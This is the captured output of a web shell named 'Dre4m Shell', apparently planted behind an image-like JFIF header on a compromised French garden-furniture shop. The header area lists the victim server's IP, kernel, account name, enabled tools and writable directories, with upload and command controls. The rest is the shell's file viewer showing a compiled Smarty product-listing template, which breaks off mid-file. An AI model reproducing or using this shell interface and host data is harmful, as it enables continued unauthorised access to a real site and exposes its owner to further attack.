ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/tonnelles-sud-ouest.fr/templates_c/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/tonnelles-sud-ouest.fr/templates_c/wrt67277101e7b4f5_13312045
<?php /* Smarty version 3.1.24, created on 2024-11-03 13:48:01
         compiled from "templates/shop_3col/index_affiche_1_3.tpl" */ ?>
<?php
/*%%SmartyHeaderCode:187812330367277101d968a8_00073968%%*/
if(!defined('SMARTY_DIR')) exit('no direct access allowed');
$_valid = $_smarty_tpl->decodeProperties(array (
  'file_dependency' => 
  array (
    'cb4bbb8e251cc91a0172af8530de8ddefe07892b' => 
    array (
      0 => 'templates/shop_3col/index_affiche_1_3.tpl',
      1 => 1527873207,
      2 => 'file',
    ),
  ),
  'nocache_hash' => '187812330367277101d968a8_00073968',
  'variables' => 
  array (
    'page_une' => 0,
    'featuredProducts' => 1,
    'nouveo' => 0,
    'dif_produit' => 0,
    'total_une' => 0,
    'aff_produit' => 1,
    'max_produit' => 1,
    'achat_direct' => 1,
    'featuredProduct' => 1,
    'attributes' => 1,
    'attribute' => 1,
    'zoe' => 1,
    'txt_zoe' => 1,
    'img_impro' => 1,
    'act_marq' => 1,
    'AffiPrix' => 1,
    'txt_prix' => 1,
    'txt_dispo' => 1,
    'txt_nodispo' => 1,
    'promotion' => 1,
    'cart' => 1,
    'productd' => 1,
    'exist' => 1,
    'self_page' => 1,
    'act_carrousel' => 0,
    'page_nouv' => 0,
    'newProducts' => 1,
    'total_news' => 0,
    'newProduct' => 1,
  ),
  'has_nocache_code' => false,
  'version' => '3.1.24',
  'unifunc' => 'content_67277101e787c1_43697046',
),false);
/*/%%SmartyHeaderCode%%*/
if ($_valid && !is_callable('content_67277101e787c1_43697046')) {
function content_67277101e787c1_43697046 ($_smarty_tpl) {
if (!is_callable('smarty_modifier_replace')) require_once '/home/computer3/tonnelles-sud-ouest.fr/libs/plugins/modifier.replace.php';
if (!is_callable('smarty_function_math')) require_once '/home/computer3/tonnelles-sud-ouest.fr/libs/plugins/function.math.php';

$_smarty_tpl->properties['nocache_hash'] = '187812330367277101d968a8_00073968';
if ($_smarty_tpl->tpl_vars['page_une']->value > 0) {?>
            <!-- Produits à la une --> 
                <?php if (!empty($_smarty_tpl->tpl_vars['featuredProducts']->value)) {?>
                    <div class="title_cat">
                        <h3 class="">Produits &agrave; la Une !</h3>
                    </div>                                                       
<?php $_smarty_tpl->tpl_vars['dif_produit'] = new Smarty_Variable($_smarty_tpl->tpl_vars['nouveo']->value/5, null, 0);?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value < 2) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value == '2') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_une']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>                    
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value > 2 && $_smarty_tpl->tpl_vars['dif_produit']->value < 3) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_une']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value == '3') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_une']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>                    
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value > 3 && $_smarty_tpl->tpl_vars['dif_produit']->value < 4) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_une']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value == '4') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('20', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_une']->value < '20') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>                    
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value > 4 && $_smarty_tpl->tpl_vars['dif_produit']->value < 5) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('20', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_une']->value < '20') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value == '5') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('25', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_une']->value < '25') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('20', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '20') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>                    
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value > 5 && $_smarty_tpl->tpl_vars['dif_produit']->value < 6) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('25', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_une']->value < '25') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('20', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '20') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_une']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>

<ul class="thumbnails">                        
                                
<?php $_smarty_tpl->tpl_vars['aff_produit'] = new Smarty_Variable('0', true, 0);?>                                           
<?php
$_from = $_smarty_tpl->tpl_vars['featuredProducts']->value;
if (!is_array($_from) && !is_object($_from)) {
settype($_from, 'array');
}
$_smarty_tpl->tpl_vars['featuredProduct'] = new Smarty_Variable;
$_smarty_tpl->tpl_vars['featuredProduct']->_loop = false;
foreach ($_from as $_smarty_tpl->tpl_vars['featuredProduct']->value) {
$_smarty_tpl->tpl_vars['featuredProduct']->_loop = true;
$foreach_featuredProduct_Sav = $_smarty_tpl->tpl_vars['featuredProduct'];
?> 
                            
<?php $_smarty_tpl->tpl_vars['aff_produit'] = new Smarty_Variable($_smarty_tpl->tpl_vars['aff_produit']->value+1, true, 0);?>                            
<?php if ($_smarty_tpl->tpl_vars['aff_produit']->value <= $_smarty_tpl->tpl_vars['max_produit']->value) {?>                                           
 <?php if ($_smarty_tpl->tpl_vars['achat_direct']->value > 0) {?>                                                              
      <?php echo '<script'; ?>
>
        $(document).ready(function(){
            $("#submit_AA3<?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['id'];?>
").click(function(){
                $.get(
                    'includes/addToCartGet.php',
                   {
                        <?php
$_from = $_smarty_tpl->tpl_vars['attributes']->value;
if (!is_array($_from) && !is_object($_from)) {
settype($_from, 'array');
}
$_smarty_tpl->tpl_vars['attribute'] = new Smarty_Variable;
$_smarty_tpl->tpl_vars['attribute']->_loop = false;
foreach ($_from as $_smarty_tpl->tpl_vars['attribute']->value) {
$_smarty_tpl->tpl_vars['attribute']->_loop = true;
$foreach_attribute_Sav = $_smarty_tpl->tpl_vars['attribute'];
?>                                                                                           
                        <?php echo $_smarty_tpl->tpl_vars['attribute']->value['name'];?>
 : $("#<?php echo $_smarty_tpl->tpl_vars['attribute']->value['name'];?>
").val(),
                           <?php
$_smarty_tpl->tpl_vars['attribute'] = $foreach_attribute_Sav;
}
?>
                           
                        Dispo : <?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['stock'];?>
,                                                                        
                        product : <?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['id'];?>
,
                        quantity : 1
                    },
                    function(data){
                        if(data == 'success'){
                            $('#cart').prepend('');
                            $('#box').modal('show');
                            document.location.reload(true);
                        }
                    },
                    'text'
                );
            });
        });
    <?php echo '</script'; ?>
>
<?php }?>  
                                  <li class="span3">  
                                        <div class="thumbnail" style="min-height: 425px"> 
                                            <a href="produit-<?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['seo'];?>
">
                                                <div style="text-align:center">
                                                    <?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['picture'] == '') {?>
                                                        <img src="templates/shop/img/no-picture.jpg" alt="<?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['name'];?>
">
                                                    <?php } else { ?>
<?php if ($_smarty_tpl->tpl_vars['zoe']->value > 0) {?>                                                    
<div class="grid">
					<figure class="effect-zoe">
						<img src="uploadfiles/products/mini/<?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['picture'];?>
" alt="<?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['name'];?>
" style="margin-left:auto;margin-right:auto;height: 200px;width:100%" />
						<figcaption>
							<h2><span><i class="fa fa-eye fa-1x" ></i>&nbsp;</span></h2>

							<p class="description"><?php echo $_smarty_tpl->tpl_vars['txt_zoe']->value;?>
</p>
						</figcaption>			
					</figure>
</div>                                                    
<?php } else { ?>                                                              
  						<img src="uploadfiles/products/mini/<?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['picture'];?>
" alt="<?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['name'];?>
" style="height: 200px" />                                                  
<?php }?>   
                                                    <?php }?>
                                                </div>
                                            </a>                                            
                                    <?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['discount'] != 0) {?>
                                      <div class="coin" <?php if ($_smarty_tpl->tpl_vars['zoe']->value > 0) {?>style="margin-top: -280px;"<?php }?>><img src="templates/shop/img/<?php echo $_smarty_tpl->tpl_vars['img_impro']->value;?>
" alt="" /></div>
                                     <?php }?>                                             
<?php if ($_smarty_tpl->tpl_vars['zoe']->value > 0) {?>
 <div class="caption" style="margin-top: -70px;">     
 <?php } else { ?>
 <div class="caption">
 <?php }?>                                            
                                          <div style="text-align:center"><h4 style="margin-bottom: 3px"><?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['name'];?>
</h4></div>
<?php if ($_smarty_tpl->tpl_vars['act_marq']->value > 0) {?>                                                           
<?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['lamarque'] !== '') {?>  
<div style="text-align:center"><span class="title_marque"><?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['lamarque'];?>
</span></div>                                                                                             
<?php }?>  
<?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['lamarque'] == '') {?>                                                                                                                                                    
<div style="text-align:center"><span class="title_marque" style="color: transparent">|</span></div> 
<?php }?>  
<div style="text-align:center"><div class="motscle"><?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['meta_keywords'];?>
</div></div>
<?php } else { ?>                                            
<div style="text-align:center"><span class="title_marque" style="color: transparent">|</span></div>                                                                                
<div style="text-align:center"><div class="motscle"><?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['meta_keywords'];?>
</div></div>
<?php }?>                                           
<?php if ($_smarty_tpl->tpl_vars['AffiPrix']->value > 0) {?>
                                      <?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['discount'] == 0) {?>      
                                            <div style="margin-top:5px;margin-bottom: 5px">    
                                             <i><?php echo $_smarty_tpl->tpl_vars['txt_prix']->value;?>
</i> 
                                            </div> 
                                            <div style="float:right; margin-top:-27px;"> 
                                            
                                            <?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['hstock'] < 1) {?>
                                            <img src="templates/shop/img/dispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
    
                                            <?php }?>
                                            <?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['hstock'] > 0) {?>
                                            <img src="templates/shop/img/indispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_nodispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_nodispo']->value;?>

                                            <?php }?>                                            
                                            </div>                                                                                                  
                                                 <div class="prix" style="text-align:center">
                                                  <?php echo smarty_modifier_replace(sprintf("%.2f",$_smarty_tpl->tpl_vars['featuredProduct']->value['price']),'.',',');?>
 € </div>

                                              <?php } else { ?>                                                
                                           <div style="margin-top:3px;margin-bottom: 5px">    
                                           <span style="font-size: 16px;text-decoration:line-through"><?php echo smarty_modifier_replace(sprintf("%.2f",$_smarty_tpl->tpl_vars['featuredProduct']->value['price']),'.',',');?>
 €</span>
                                            </div> 
                                            <div style="float:right; margin-top:-27px;"> 
                                            
                                            <?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['hstock'] < 1) {?>
                                            <img src="templates/shop/img/dispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
    
                                            <?php }?>
                                            <?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['hstock'] > 0) {?>
                                            <img src="templates/shop/img/indispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_nodispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_nodispo']->value;?>

                                            <?php }?>                                            
                                            </div>                                                                                                  
                                           <div>     
                                           <span style="font-size: 22px; color: #ff0000">  -<?php echo smarty_modifier_replace(sprintf("%.1f",$_smarty_tpl->tpl_vars['featuredProduct']->value['discount']),'.',',');?>
% </span>
                                           
                                            &nbsp;<?php echo smarty_function_math(array('equation'=>"price - price * (promo / 100)",'price'=>$_smarty_tpl->tpl_vars['featuredProduct']->value['price'],'promo'=>$_smarty_tpl->tpl_vars['featuredProduct']->value['discount'],'assign'=>"promotion"),$_smarty_tpl);?>
  
                                                   <span class="prix" style="font-size: 22px;float:right; margin-top:-2px">  <?php echo smarty_modifier_replace(sprintf("%.2f",$_smarty_tpl->tpl_vars['promotion']->value),'.',',');?>
 € </span>
                                            </div>
                                            <?php }?>                                                  
<?php } else { ?>
<div style="margin-top:20px;margin-bottom: 5px">    
                                             <i><?php echo $_smarty_tpl->tpl_vars['txt_prix']->value;?>
</i> 
                                            </div> 
                                            <div style="float:right; margin-top:-27px;"> 
                                            <img src="templates/shop/img/dispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
    
</div>
<?php }?>

<?php $_smarty_tpl->tpl_vars['exist'] = new Smarty_Variable('0', true, 0);?>                                                                 
 <?php
$_from = $_smarty_tpl->tpl_vars['cart']->value;
if (!is_array($_from) && !is_object($_from)) {
settype($_from, 'array');
}
$_smarty_tpl->tpl_vars['productd'] = new Smarty_Variable;
$_smarty_tpl->tpl_vars['productd']->_loop = false;
$_smarty_tpl->tpl_vars['key'] = new Smarty_Variable;
foreach ($_from as $_smarty_tpl->tpl_vars['key']->value => $_smarty_tpl->tpl_vars['productd']->value) {
$_smarty_tpl->tpl_vars['productd']->_loop = true;
$foreach_productd_Sav = $_smarty_tpl->tpl_vars['productd'];
?>                                            
  <?php if ($_smarty_tpl->tpl_vars['productd']->value['id'] == $_smarty_tpl->tpl_vars['featuredProduct']->value['id']) {?> 
  <?php $_smarty_tpl->tpl_vars['exist'] = new Smarty_Variable('1', true, 0);?>
  <?php }?> 
 <?php
$_smarty_tpl->tpl_vars['productd'] = $foreach_productd_Sav;
}
?>                                                                                                                                
<br />                                             
<div style="padding:0; margin:0;margin-top:-20px;">          
   
<div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<a href="produit-<?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['seo'];?>
"><img src="templates/shop/img/view_product.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" onMouseOver="this.src='templates/shop/img/view_product_hover.png'" onMouseOut="this.src='templates/shop/img/view_product.png'"></a>                                                  
</div>  


<?php if ($_smarty_tpl->tpl_vars['featuredProduct']->value['hstock'] > 0) {?>
<div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center">                                
<?php if ($_smarty_tpl->tpl_vars['AffiPrix']->value > 0) {?>
<img src="templates/shop/img/hors_stock.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" /> 
<?php } else { ?>
<img src="templates/shop/img/avec_attribut.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" />
<?php }?>                                                
</div> 
</div> 

<?php } elseif ($_smarty_tpl->tpl_vars['featuredProduct']->value['id_attribute'] > 0) {?>       
<div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center">   
<img src="templates/shop/img/avec_attribut.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" /> 
</div>
</div>

 
<?php } elseif ($_smarty_tpl->tpl_vars['exist']->value > 0) {?> 
<div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center">   
<a href="cart.php"><img src="templates/shop/img/reserve.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" /></a> 
</div>
</div>
  
 
<?php } elseif ($_smarty_tpl->tpl_vars['featuredProduct']->value['h_achat_direct'] > 0) {?>
 <div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center"> 
<img src="templates/shop/img/no_achat.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" />                                                 
</div> 
</div>  


<?php } elseif ($_smarty_tpl->tpl_vars['achat_direct']->value < 1) {?>
 <div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center"> 
<img src="templates/shop/img/no_achat.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" />                                                 
</div> 
</div>  


<?php } else { ?>
 <div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center">  
  <?php echo '<script'; ?>
>
   document.write('<a href="<?php echo $_smarty_tpl->tpl_vars['self_page']->value;?>
" id="submit_AA3<?php echo $_smarty_tpl->tpl_vars['featuredProduct']->value['id'];?>
" onclick="javascript:document.the_form.submit();return false;"><img src="templates/shop/img/achat.png" style="width: 100%; max-width: 200px; height: auto;padding:2px" onMouseOver="this.src=\'templates/shop/img/achat_hover.png\'" onMouseOut="this.src=\'templates/shop/img/achat.png\'"><\/a>');
    <?php echo '</script'; ?>
>                                               
</div>
</div>    
  <?php }?>    
   
</div>         
</div>
                                        </div>   
                                    </li>
   <?php }?>                                    
                                    
               <?php
$_smarty_tpl->tpl_vars['featuredProduct'] = $foreach_featuredProduct_Sav;
}
?>                           
          
        </ul>                    

   <?php }?>
<?php }?> 


<?php if ($_smarty_tpl->tpl_vars['act_carrousel']->value == '2') {?>            
<?php echo $_smarty_tpl->getSubTemplate ("carrousel.tpl", $_smarty_tpl->cache_id, $_smarty_tpl->compile_id, 0, $_smarty_tpl->cache_lifetime, array(), 0);
?>
   
<?php }?>  


<?php if ($_smarty_tpl->tpl_vars['page_nouv']->value > 0) {?>
     <!-- Nouveaux produits -->
                <?php if (!empty($_smarty_tpl->tpl_vars['newProducts']->value)) {?>
                    <div class="title_cat">
                        <h3 class="">Nos nouveautés <a href="nouveautes"><span class="cat_plus" style="float:right;margin-right: 20px">&#9658;&nbsp;Voir plus...</span></a></h3>
                    </div>   

<?php $_smarty_tpl->tpl_vars['dif_produit'] = new Smarty_Variable($_smarty_tpl->tpl_vars['nouveo']->value/5, null, 0);?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value < 2) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value == '2') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_news']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>                    
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value > 2 && $_smarty_tpl->tpl_vars['dif_produit']->value < 3) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_news']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value == '3') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_news']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>                    
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value > 3 && $_smarty_tpl->tpl_vars['dif_produit']->value < 4) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_news']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value == '4') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('20', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_news']->value < '20') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>                    
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value > 4 && $_smarty_tpl->tpl_vars['dif_produit']->value < 5) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('20', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_news']->value < '20') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value == '5') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('25', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_news']->value < '25') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('20', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '20') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>                    
<?php if ($_smarty_tpl->tpl_vars['dif_produit']->value > 5 && $_smarty_tpl->tpl_vars['dif_produit']->value < 6) {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('25', null, 0);?> <?php if ($_smarty_tpl->tpl_vars['total_news']->value < '25') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('20', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '20') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('15', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '15') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('10', null, 0);
}
if ($_smarty_tpl->tpl_vars['total_news']->value < '10') {?> <?php $_smarty_tpl->tpl_vars['max_produit'] = new Smarty_Variable('5', null, 0);?> <?php }
}?>
                 
                        <ul class="thumbnails">                        
                            
<?php $_smarty_tpl->tpl_vars['aff_produit'] = new Smarty_Variable('0', true, 0);?>                                                                                      
<?php
$_from = $_smarty_tpl->tpl_vars['newProducts']->value;
if (!is_array($_from) && !is_object($_from)) {
settype($_from, 'array');
}
$_smarty_tpl->tpl_vars['newProduct'] = new Smarty_Variable;
$_smarty_tpl->tpl_vars['newProduct']->_loop = false;
foreach ($_from as $_smarty_tpl->tpl_vars['newProduct']->value) {
$_smarty_tpl->tpl_vars['newProduct']->_loop = true;
$foreach_newProduct_Sav = $_smarty_tpl->tpl_vars['newProduct'];
?>                                                              
                            
<?php $_smarty_tpl->tpl_vars['aff_produit'] = new Smarty_Variable($_smarty_tpl->tpl_vars['aff_produit']->value+1, true, 0);?>                            
<?php if ($_smarty_tpl->tpl_vars['aff_produit']->value <= $_smarty_tpl->tpl_vars['max_produit']->value) {?>     

<?php if ($_smarty_tpl->tpl_vars['achat_direct']->value > 0) {?>
      <?php echo '<script'; ?>
>
        $(document).ready(function(){
            $("#submit_BB3<?php echo $_smarty_tpl->tpl_vars['newProduct']->value['id'];?>
").click(function(){
                $.get(
                    'includes/addToCartGet.php',
                   {
                        <?php
$_from = $_smarty_tpl->tpl_vars['attributes']->value;
if (!is_array($_from) && !is_object($_from)) {
settype($_from, 'array');
}
$_smarty_tpl->tpl_vars['attribute'] = new Smarty_Variable;
$_smarty_tpl->tpl_vars['attribute']->_loop = false;
foreach ($_from as $_smarty_tpl->tpl_vars['attribute']->value) {
$_smarty_tpl->tpl_vars['attribute']->_loop = true;
$foreach_attribute_Sav = $_smarty_tpl->tpl_vars['attribute'];
?>                                                                                           
                        <?php echo $_smarty_tpl->tpl_vars['attribute']->value['name'];?>
 : $("#<?php echo $_smarty_tpl->tpl_vars['attribute']->value['name'];?>
").val(),
                           <?php
$_smarty_tpl->tpl_vars['attribute'] = $foreach_attribute_Sav;
}
?>                           
                        Dispo : <?php echo $_smarty_tpl->tpl_vars['newProduct']->value['stock'];?>
,                                                                        
                        product : <?php echo $_smarty_tpl->tpl_vars['newProduct']->value['id'];?>
,
                        quantity : 1
                    },
                    function(data){
                        if(data == 'success'){
                            $('#cart').prepend('');
                            $('#box').modal('show');
                            document.location.reload(true);  
                        }
                    },
                    'text'
                );
            });
        });
    <?php echo '</script'; ?>
>
<?php }?>
                                    <li class="span3">  
                                        <div class="thumbnail" style="min-height: 425px"> 
                                            <a href="produit-<?php echo $_smarty_tpl->tpl_vars['newProduct']->value['seo'];?>
">
                                                <div style="text-align:center">
                                                    <?php if ($_smarty_tpl->tpl_vars['newProduct']->value['picture'] == '') {?>
